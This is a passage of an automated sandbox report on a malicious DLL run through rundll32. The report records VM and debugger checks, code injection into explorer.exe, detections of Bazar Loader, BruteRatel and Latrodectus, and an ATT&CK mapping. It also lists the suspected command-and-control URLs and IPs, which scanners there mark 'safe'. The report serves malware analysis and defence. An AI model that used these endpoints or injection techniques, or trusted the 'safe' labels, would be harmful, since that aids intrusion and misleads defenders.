Source: rundll32.exe, 00000012.00000002.2938154508.0000029211558000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2762031046.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2810418995.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2738453835.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.1882651450.00000292115BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2680109233.00000292115BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2415718994.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2284190577.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2311847302.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000003.2797091473.00000292115AE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000012.00000002.2938154508.00000292115AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: explorer.exe, 00000016.00000000.1849178409.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: explorer.exe, 00000016.00000000.1847916203.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000016.00000002.2940539964.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: explorer.exe, 00000016.00000000.1849178409.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: explorer.exe, 00000016.00000000.1849178409.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000016.00000002.2940539964.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: explorer.exe, 00000016.00000000.1847916203.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: explorer.exe, 00000016.00000002.2940539964.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1846357884.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000016.00000002.2942821965.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000016.00000000.1844548016.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000016.00000000.1844548016.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\rundll32.exe	API call chain: ExitProcess graph end node			graph_18-2200
Source: C:\Windows\explorer.exe	API call chain: ExitProcess graph end node			graph_22-3034

Source: C:\Windows\explorer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_00000001800118B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00000001800118B8

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018000D1F4 GetLastError,IsDebuggerPresent,OutputDebugStringW,

6_2_000000018000D1F4

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018001AC34 GetProcessHeap,

6_2_000000018001AC34

Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800118B8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00000001800118B8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000E470 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_000000018000E470
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000D638 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_000000018000D638

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 138.124.183.215 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 3.69.236.35 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 91.194.11.183 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 54.175.181.104 443	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 95.164.68.73 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.21.16.155 443	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\System32\rundll32.exe

Memory allocated: C:\Windows\explorer.exe base: 13A0000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Windows\System32\rundll32.exe	Code function: 18_3_00007DF4F0240100 VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,		18_3_00007DF4F0240100
Source: C:\Windows\System32\rundll32.exe	Code function: 18_2_000000026E7A1370 Sleep,SleepEx,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,		18_2_000000026E7A1370

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\rundll32.exe

Thread created: C:\Windows\explorer.exe EIP: 13A0000

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\rundll32.exe

Memory written: C:\Windows\explorer.exe base: 13A0000 value starts with: 4D5A

Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\rundll32.exe

Memory written: PID: 2580 base: 13A0000 value: 4D

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 6516	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 6516	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 6516	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 6516	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Thread register set: target process: 6516	Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\rundll32.exe

Thread register set: 6516 1

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\rundll32.exe

Memory written: C:\Windows\explorer.exe base: 13A0000

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\upfilles.dll.dll",#1

Jump to behavior

Source: explorer.exe, 00000016.00000002.2942821965.0000000009815000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2940227099.0000000004CE0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1847916203.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000016.00000000.1844891451.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000002.2938046859.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000016.00000002.2937197092.0000000001248000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000000.1844548016.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000016.00000000.1844891451.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000002.2938046859.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000016.00000000.1844891451.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000016.00000002.2938046859.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_00000001800206B0 cpuid

6_2_00000001800206B0

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018000E5BC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_000000018000E5BC

Source: C:\Windows\explorer.exe

Code function: 22_2_013A7318 GetUserNameA,wsprintfA,

22_2_013A7318

Source: C:\Windows\explorer.exe

Code function: 22_2_013ADB28 GetVersionExW,

22_2_013ADB28

Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Bazar Loader

Source: Yara match	File source: 18.2.rundll32.exe.29211650000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.292116a0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.292116a0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2938671459.0000029211650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected BruteRatel

Source: Yara match	File source: 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1843049394.0000029213423000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1843192476.0000029213423000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2738816096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1842909028.0000029213422000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2311847302.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2284190577.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7320, type: MEMORYSTR

Yara detected Latrodectus

Source: Yara match	File source: 18.3.rundll32.exe.7df4f0220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.explorer.exe.13a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.7df4f0220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.explorer.exe.13a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.explorer.exe.13a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.explorer.exe.13a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.2703639060.0000000003250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.1844669819.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867725723.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868887059.00000292135D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868680221.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2807505534.0000000008820000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867965215.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2945149697.000000000B52C000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867247710.00007DF4F0220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2938259956.0000000003140000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868287262.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868470583.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Bazar Loader

Source: Yara match	File source: 18.2.rundll32.exe.29211650000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.292116a0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.292116a0000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2938671459.0000029211650000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2938735431.00000292116A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected BruteRatel

Source: Yara match	File source: 00000012.00000003.2415718994.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868997096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2680109233.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1843049394.0000029213423000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2938154508.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2762031046.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2797091473.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1843192476.0000029213423000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2311970800.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2397236802.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2810418995.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2001079033.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2738453835.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2284307888.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2738816096.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1842909028.0000029213422000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2311847302.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1882552320.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2284190577.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2042061481.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1991839967.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867444760.000002921161C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7320, type: MEMORYSTR

Yara detected Latrodectus

Source: Yara match	File source: 18.3.rundll32.exe.7df4f0220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.explorer.exe.13a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.rundll32.exe.7df4f0220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.explorer.exe.13a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.explorer.exe.13a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.explorer.exe.13a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000003.2703639060.0000000003250000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.1844669819.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867725723.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868887059.00000292135D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868680221.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2807505534.0000000008820000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867965215.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2945149697.000000000B52C000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1867247710.00007DF4F0220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2938259956.0000000003140000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2937512886.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868287262.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.1868470583.00000292135D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	912 Process Injection	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	912 Process Injection	LSASS Memory	51 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Regsvr32	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	2 File and Directory Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	13 System Information Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
upfilles.dll.dll	16%	ReversingLabs

Source	Detection	Scanner	Label
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
https://img.s-msn.com/tenant/amp/entityid/AAbC0oi.img	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure(	0%	Avira URL Cloud	safe
https://altynbe.com/tyk.io	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure4	0%	Avira URL Cloud	safe
https://anikvan.com/content.php	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/	0%	Avira URL Cloud	safe
https://boriz400.com/api/azurey	0%	Avira URL Cloud	safe
https://illoskanawer.com/live/	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/api/azure=	0%	Avira URL Cloud	safe
https://powerpoint.office.comcember	0%	URL Reputation	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/api/azure	0%	Avira URL Cloud	safe
http://schemas.micro	0%	URL Reputation	safe
https://altynbe.com/content.php	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.phpP	0%	Avira URL Cloud	safe
https://anikvan.com/I~	0%	Avira URL Cloud	safe
https://anikvan.com/	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/f	0%	Avira URL Cloud	safe
https://boriz400.com/api/azure	0%	Avira URL Cloud	safe
https://ridiculous-breakpoint-gw.aws-use1.cloud-ara.tyk.io/content.php4	0%	Avira URL Cloud	safe
https://anikvan.com/content.php.f	0%	Avira URL Cloud	safe
https://uncertain-kitten-gw.aws-euc1.cloud-ara.tyk.io/content.php1j	0%	Avira URL Cloud	safe
https://workspacin.cloud/live/0vaH	0%	Avira URL Cloud	safe
https://altynbe.com/U~	0%	Avira URL Cloud	safe
https://workspacin.cloud/live/6	0%	Avira URL Cloud	safe
https://altynbe.com/B_F	0%	Avira URL Cloud	safe
https://anikvan.com/content.phpGf	0%	Avira URL Cloud	safe
https://altynbe.com/content.php2f	0%	Avira URL Cloud	safe
